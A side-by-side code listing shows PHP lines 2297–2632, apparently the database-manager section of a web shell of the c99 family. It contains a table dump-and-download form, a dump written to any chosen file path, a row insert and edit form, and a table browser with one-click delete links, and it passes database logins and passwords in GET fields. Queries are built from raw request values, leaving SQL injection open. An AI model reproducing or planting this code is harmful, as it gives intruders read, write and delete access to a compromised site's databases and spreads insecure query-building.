| 2297 | echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; | 2297 | echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; |
| 2298 | 2298 | ||
| 2299 | echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; | 2299 | echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; |
| 2300 | 2300 | ||
| 2301 | echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; | 2301 | echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; |
| 2302 | 2302 | ||
| 2303 | echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; | 2303 | echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; |
| 2304 | 2304 | ||
| 2305 | echo "</form>"; | 2305 | echo "</form>"; |
| 2306 | 2306 | ||
| 2307 | } | 2307 | } |
| 2308 | 2308 | ||
| 2309 | else | 2309 | else |
| 2310 | 2310 | ||
| 2311 | { | 2311 | { |
| 2312 | 2312 | ||
| 2313 | $diplay = TRUE; | 2313 | $diplay = TRUE; |
| 2314 | 2314 | ||
| 2315 | $set = array(); | 2315 | $set = array(); |
| 2316 | 2316 | ||
| 2317 | $set["sock"] = $sql_sock; | 2317 | $set["sock"] = $sql_sock; |
| 2318 | 2318 | ||
| 2319 | $set["db"] = $sql_db; | 2319 | $set["db"] = $sql_db; |
| 2320 | 2320 | ||
| 2321 | $dump_out = "download"; | 2321 | $dump_out = "download"; |
| 2322 | 2322 | ||
| 2323 | $set["print"] = 0; | 2323 | $set["print"] = 0; |
| 2324 | 2324 | ||
| 2325 | $set["nl2br"] = 0; | 2325 | $set["nl2br"] = 0; |
| 2326 | 2326 | ||
| 2327 | $set[""] = 0; | 2327 | $set[""] = 0; |
| 2328 | 2328 | ||
| 2329 | $set["file"] = $dump_file; | 2329 | $set["file"] = $dump_file; |
| 2330 | 2330 | ||
| 2331 | $set["add_drop"] = TRUE; | 2331 | $set["add_drop"] = TRUE; |
| 2332 | 2332 | ||
| 2333 | $set["onlytabs"] = array(); | 2333 | $set["onlytabs"] = array(); |
| 2334 | 2334 | ||
| 2335 | if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} | 2335 | if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} |
| 2336 | 2336 | ||
| 2337 | $ret = mysql_dump($set); | 2337 | $ret = mysql_dump($set); |
| 2338 | 2338 | ||
| 2339 | if ($sql_dump_download) | 2339 | if ($sql_dump_download) |
| 2340 | 2340 | ||
| 2341 | { | 2341 | { |
| 2342 | 2342 | ||
| 2343 | @ob_clean(); | 2343 | @ob_clean(); |
| 2344 | 2344 | ||
| 2345 | header("Content-type: application/octet-stream"); | 2345 | header("Content-type: application/octet-stream"); |
| 2346 | 2346 | ||
| 2347 | header("Content-length: ".strlen($ret)); | 2347 | header("Content-length: ".strlen($ret)); |
| 2348 | 2348 | ||
| 2349 | header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); | 2349 | header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); |
| 2350 | 2350 | ||
| 2351 | echo $ret; | 2351 | echo $ret; |
| 2352 | 2352 | ||
| 2353 | exit; | 2353 | exit; |
| 2354 | 2354 | ||
| 2355 | } | 2355 | } |
| 2356 | 2356 | ||
| 2357 | elseif ($sql_dump_savetofile) | 2357 | elseif ($sql_dump_savetofile) |
| 2358 | 2358 | ||
| 2359 | { | 2359 | { |
| 2360 | 2360 | ||
| 2361 | $fp = fopen($sql_dump_file,"w"); | 2361 | $fp = fopen($sql_dump_file,"w"); |
| 2362 | 2362 | ||
| 2363 | if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} | 2363 | if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} |
| 2364 | 2364 | ||
| 2365 | else | 2365 | else |
| 2366 | 2366 | ||
| 2367 | { | 2367 | { |
| 2368 | 2368 | ||
| 2369 | fwrite($fp,$ret); | 2369 | fwrite($fp,$ret); |
| 2370 | 2370 | ||
| 2371 | fclose($fp); | 2371 | fclose($fp); |
| 2372 | 2372 | ||
| 2373 | echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; | 2373 | echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; |
| 2374 | 2374 | ||
| 2375 | } | 2375 | } |
| 2376 | 2376 | ||
| 2377 | } | 2377 | } |
| 2378 | 2378 | ||
| 2379 | else {echo "<b>Dump: nothing to do!</b>";} | 2379 | else {echo "<b>Dump: nothing to do!</b>";} |
| 2380 | 2380 | ||
| 2381 | } | 2381 | } |
| 2382 | 2382 | ||
| 2383 | } | 2383 | } |
| 2384 | 2384 | ||
| 2385 | if ($diplay) | 2385 | if ($diplay) |
| 2386 | 2386 | ||
| 2387 | { | 2387 | { |
| 2388 | 2388 | ||
| 2389 | if (!empty($sql_tbl)) | 2389 | if (!empty($sql_tbl)) |
| 2390 | 2390 | ||
| 2391 | { | 2391 | { |
| 2392 | 2392 | ||
| 2393 | if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} | 2393 | if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} |
| 2394 | 2394 | ||
| 2395 | $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); | 2395 | $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); |
| 2396 | 2396 | ||
| 2397 | $count_row = mysql_fetch_array($count); | 2397 | $count_row = mysql_fetch_array($count); |
| 2398 | 2398 | ||
| 2399 | mysql_free_result($count); | 2399 | mysql_free_result($count); |
| 2400 | 2400 | ||
| 2401 | $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); | 2401 | $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); |
| 2402 | 2402 | ||
| 2403 | $tbl_struct_fields = array(); | 2403 | $tbl_struct_fields = array(); |
| 2404 | 2404 | ||
| 2405 | while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} | 2405 | while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} |
| 2406 | 2406 | ||
| 2407 | if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} | 2407 | if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} |
| 2408 | 2408 | ||
| 2409 | if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} | 2409 | if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} |
| 2410 | 2410 | ||
| 2411 | if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} | 2411 | if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} |
| 2412 | 2412 | ||
| 2413 | if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} | 2413 | if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} |
| 2414 | 2414 | ||
| 2415 | $perpage = $sql_tbl_le - $sql_tbl_ls; | 2415 | $perpage = $sql_tbl_le - $sql_tbl_ls; |
| 2416 | 2416 | ||
| 2417 | if (!is_numeric($perpage)) {$perpage = 10;} | 2417 | if (!is_numeric($perpage)) {$perpage = 10;} |
| 2418 | 2418 | ||
| 2419 | $numpages = $count_row[0]/$perpage; | 2419 | $numpages = $count_row[0]/$perpage; |
| 2420 | 2420 | ||
| 2421 | $e = explode(" ",$sql_order); | 2421 | $e = explode(" ",$sql_order); |
| 2422 | 2422 | ||
| 2423 | if (count($e) == 2) | 2423 | if (count($e) == 2) |
| 2424 | 2424 | ||
| 2425 | { | 2425 | { |
| 2426 | 2426 | ||
| 2427 | if ($e[0] == "d") {$asc_desc = "DESC";} | 2427 | if ($e[0] == "d") {$asc_desc = "DESC";} |
| 2428 | 2428 | ||
| 2429 | else {$asc_desc = "ASC";} | 2429 | else {$asc_desc = "ASC";} |
| 2430 | 2430 | ||
| 2431 | $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; | 2431 | $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; |
| 2432 | 2432 | ||
| 2433 | } | 2433 | } |
| 2434 | 2434 | ||
| 2435 | else {$v = "";} | 2435 | else {$v = "";} |
| 2436 | 2436 | ||
| 2437 | $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; | 2437 | $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; |
| 2438 | 2438 | ||
| 2439 | $result = mysql_query($query) or print(mysql_smarterror()); | 2439 | $result = mysql_query($query) or print(mysql_smarterror()); |
| 2440 | 2440 | ||
| 2441 | echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; | 2441 | echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; |
| 2442 | 2442 | ||
| 2443 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> "; | 2443 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> "; |
| 2444 | 2444 | ||
| 2445 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> "; | 2445 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> "; |
| 2446 | 2446 | ||
| 2447 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> "; | 2447 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> "; |
| 2448 | 2448 | ||
| 2449 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> "; | 2449 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> "; |
| 2450 | 2450 | ||
| 2451 | if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} | 2451 | if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} |
| 2452 | 2452 | ||
| 2453 | if ($sql_tbl_act == "insert") | 2453 | if ($sql_tbl_act == "insert") |
| 2454 | 2454 | ||
| 2455 | { | 2455 | { |
| 2456 | 2456 | ||
| 2457 | if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} | 2457 | if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} |
| 2458 | 2458 | ||
| 2459 | if (!empty($sql_tbl_insert_radio)) | 2459 | if (!empty($sql_tbl_insert_radio)) |
| 2460 | 2460 | ||
| 2461 | { | 2461 | { |
| 2462 | 2462 | ||
| 2463 | 2463 | ||
| 2464 | 2464 | ||
| 2465 | } | 2465 | } |
| 2466 | 2466 | ||
| 2467 | else | 2467 | else |
| 2468 | 2468 | ||
| 2469 | { | 2469 | { |
| 2470 | 2470 | ||
| 2471 | echo "<br><br><b>Inserting row into table:</b><br>"; | 2471 | echo "<br><br><b>Inserting row into table:</b><br>"; |
| 2472 | 2472 | ||
| 2473 | if (!empty($sql_tbl_insert_q)) | 2473 | if (!empty($sql_tbl_insert_q)) |
| 2474 | 2474 | ||
| 2475 | { | 2475 | { |
| 2476 | 2476 | ||
| 2477 | $sql_query = "SELECT * FROM `".$sql_tbl."`"; | 2477 | $sql_query = "SELECT * FROM `".$sql_tbl."`"; |
| 2478 | 2478 | ||
| 2479 | $sql_query .= " WHERE".$sql_tbl_insert_q; | 2479 | $sql_query .= " WHERE".$sql_tbl_insert_q; |
| 2480 | 2480 | ||
| 2481 | $sql_query .= " LIMIT 1;"; | 2481 | $sql_query .= " LIMIT 1;"; |
| 2482 | 2482 | ||
| 2483 | $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); | 2483 | $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); |
| 2484 | 2484 | ||
| 2485 | $values = mysql_fetch_assoc($result); | 2485 | $values = mysql_fetch_assoc($result); |
| 2486 | 2486 | ||
| 2487 | mysql_free_result($result); | 2487 | mysql_free_result($result); |
| 2488 | 2488 | ||
| 2489 | } | 2489 | } |
| 2490 | 2490 | ||
| 2491 | else {$values = array();} | 2491 | else {$values = array();} |
| 2492 | 2492 | ||
| 2493 | echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; | 2493 | echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; |
| 2494 | 2494 | ||
| 2495 | foreach ($tbl_struct_fields as $field) | 2495 | foreach ($tbl_struct_fields as $field) |
| 2496 | 2496 | ||
| 2497 | { | 2497 | { |
| 2498 | 2498 | ||
| 2499 | $name = $field["Field"]; | 2499 | $name = $field["Field"]; |
| 2500 | 2500 | ||
| 2501 | if (empty($sql_tbl_insert_q)) {$v = "";} | 2501 | if (empty($sql_tbl_insert_q)) {$v = "";} |
| 2502 | 2502 | ||
| 2503 | echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; | 2503 | echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; |
| 2504 | 2504 | ||
| 2505 | $i++; | 2505 | $i++; |
| 2506 | 2506 | ||
| 2507 | } | 2507 | } |
| 2508 | 2508 | ||
| 2509 | echo "</table><br>"; | 2509 | echo "</table><br>"; |
| 2510 | 2510 | ||
| 2511 | echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; | 2511 | echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; |
| 2512 | 2512 | ||
| 2513 | if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} | 2513 | if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} |
| 2514 | 2514 | ||
| 2515 | echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; | 2515 | echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; |
| 2516 | 2516 | ||
| 2517 | } | 2517 | } |
| 2518 | 2518 | ||
| 2519 | } | 2519 | } |
| 2520 | 2520 | ||
| 2521 | if ($sql_tbl_act == "browse") | 2521 | if ($sql_tbl_act == "browse") |
| 2522 | 2522 | ||
| 2523 | { | 2523 | { |
| 2524 | 2524 | ||
| 2525 | $sql_tbl_ls = abs($sql_tbl_ls); | 2525 | $sql_tbl_ls = abs($sql_tbl_ls); |
| 2526 | 2526 | ||
| 2527 | $sql_tbl_le = abs($sql_tbl_le); | 2527 | $sql_tbl_le = abs($sql_tbl_le); |
| 2528 | 2528 | ||
| 2529 | echo "<hr size=\"1\" noshade>"; | 2529 | echo "<hr size=\"1\" noshade>"; |
| 2530 | 2530 | ||
| 2531 | echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> "; | 2531 | echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> "; |
| 2532 | 2532 | ||
| 2533 | $b = 0; | 2533 | $b = 0; |
| 2534 | 2534 | ||
| 2535 | for($i=0;$i<$numpages;$i++) | 2535 | for($i=0;$i<$numpages;$i++) |
| 2536 | 2536 | ||
| 2537 | { | 2537 | { |
| 2538 | 2538 | ||
| 2539 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} | 2539 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} |
| 2540 | 2540 | ||
| 2541 | echo $i; | 2541 | echo $i; |
| 2542 | 2542 | ||
| 2543 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} | 2543 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} |
| 2544 | 2544 | ||
| 2545 | if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} | 2545 | if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} |
| 2546 | 2546 | ||
| 2547 | else {echo " ";} | 2547 | else {echo " ";} |
| 2548 | 2548 | ||
| 2549 | } | 2549 | } |
| 2550 | 2550 | ||
| 2551 | if ($i == 0) {echo "empty";} | 2551 | if ($i == 0) {echo "empty";} |
| 2552 | 2552 | ||
| 2553 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>"; | 2553 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>"; |
| 2554 | 2554 | ||
| 2555 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1>"; | 2555 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1>"; |
| 2556 | 2556 | ||
| 2557 | echo "<tr>"; | 2557 | echo "<tr>"; |
| 2558 | 2558 | ||
| 2559 | echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; | 2559 | echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; |
| 2560 | 2560 | ||
| 2561 | for ($i=0;$i<mysql_num_fields($result);$i++) | 2561 | for ($i=0;$i<mysql_num_fields($result);$i++) |
| 2562 | 2562 | ||
| 2563 | { | 2563 | { |
| 2564 | 2564 | ||
| 2565 | $v = mysql_field_name($result,$i); | 2565 | $v = mysql_field_name($result,$i); |
| 2566 | 2566 | ||
| 2567 | if ($e[0] == "a") {$s = "d"; $m = "asc";} | 2567 | if ($e[0] == "a") {$s = "d"; $m = "asc";} |
| 2568 | 2568 | ||
| 2569 | else {$s = "a"; $m = "desc";} | 2569 | else {$s = "a"; $m = "desc";} |
| 2570 | 2570 | ||
| 2571 | echo "<td>"; | 2571 | echo "<td>"; |
| 2572 | 2572 | ||
| 2573 | if (empty($e[0])) {$e[0] = "a";} | 2573 | if (empty($e[0])) {$e[0] = "a";} |
| 2574 | 2574 | ||
| 2575 | if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} | 2575 | if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} |
| 2576 | 2576 | ||
| 2577 | else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} | 2577 | else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} |
| 2578 | 2578 | ||
| 2579 | echo "</td>"; | 2579 | echo "</td>"; |
| 2580 | 2580 | ||
| 2581 | } | 2581 | } |
| 2582 | 2582 | ||
| 2583 | echo "<td><font color=\"green\"><b>Action</b></font></td>"; | 2583 | echo "<td><font color=\"green\"><b>Action</b></font></td>"; |
| 2584 | 2584 | ||
| 2585 | echo "</tr>"; | 2585 | echo "</tr>"; |
| 2586 | 2586 | ||
| 2587 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) | 2587 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) |
| 2588 | 2588 | ||
| 2589 | { | 2589 | { |
| 2590 | 2590 | ||
| 2591 | echo "<tr>"; | 2591 | echo "<tr>"; |
| 2592 | 2592 | ||
| 2593 | $w = ""; | 2593 | $w = ""; |
| 2594 | 2594 | ||
| 2595 | $i = 0; | 2595 | $i = 0; |
| 2596 | 2596 | ||
| 2597 | foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} | 2597 | foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} |
| 2598 | 2598 | ||
| 2599 | if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} | 2599 | if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} |
| 2600 | 2600 | ||
| 2601 | echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; | 2601 | echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; |
| 2602 | 2602 | ||
| 2603 | $i = 0; | 2603 | $i = 0; |
| 2604 | 2604 | ||
| 2605 | foreach ($row as $k=>$v) | 2605 | foreach ($row as $k=>$v) |
| 2606 | 2606 | ||
| 2607 | { | 2607 | { |
| 2608 | 2608 | ||
| 2609 | $v = htmlspecialchars($v); | 2609 | $v = htmlspecialchars($v); |
| 2610 | 2610 | ||
| 2611 | if ($v == "") {$v = "<font color=\"green\">NULL</font>";} | 2611 | if ($v == "") {$v = "<font color=\"green\">NULL</font>";} |
| 2612 | 2612 | ||
| 2613 | echo "<td>".$v."</td>"; | 2613 | echo "<td>".$v."</td>"; |
| 2614 | 2614 | ||
| 2615 | $i++; | 2615 | $i++; |
| 2616 | 2616 | ||
| 2617 | } | 2617 | } |
| 2618 | 2618 | ||
| 2619 | echo "<td>"; | 2619 | echo "<td>"; |
| 2620 | 2620 | ||
| 2621 | echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> "; | 2621 | echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> "; |
| 2622 | 2622 | ||
| 2623 | echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> "; | 2623 | echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> "; |
| 2624 | 2624 | ||
| 2625 | echo "</td>"; | 2625 | echo "</td>"; |
| 2626 | 2626 | ||
| 2627 | echo "</tr>"; | 2627 | echo "</tr>"; |
| 2628 | 2628 | ||
| 2629 | } | 2629 | } |
| 2630 | 2630 | ||
| 2631 | mysql_free_result($result); | 2631 | mysql_free_result($result); |
| 2632 | 2632 | ||
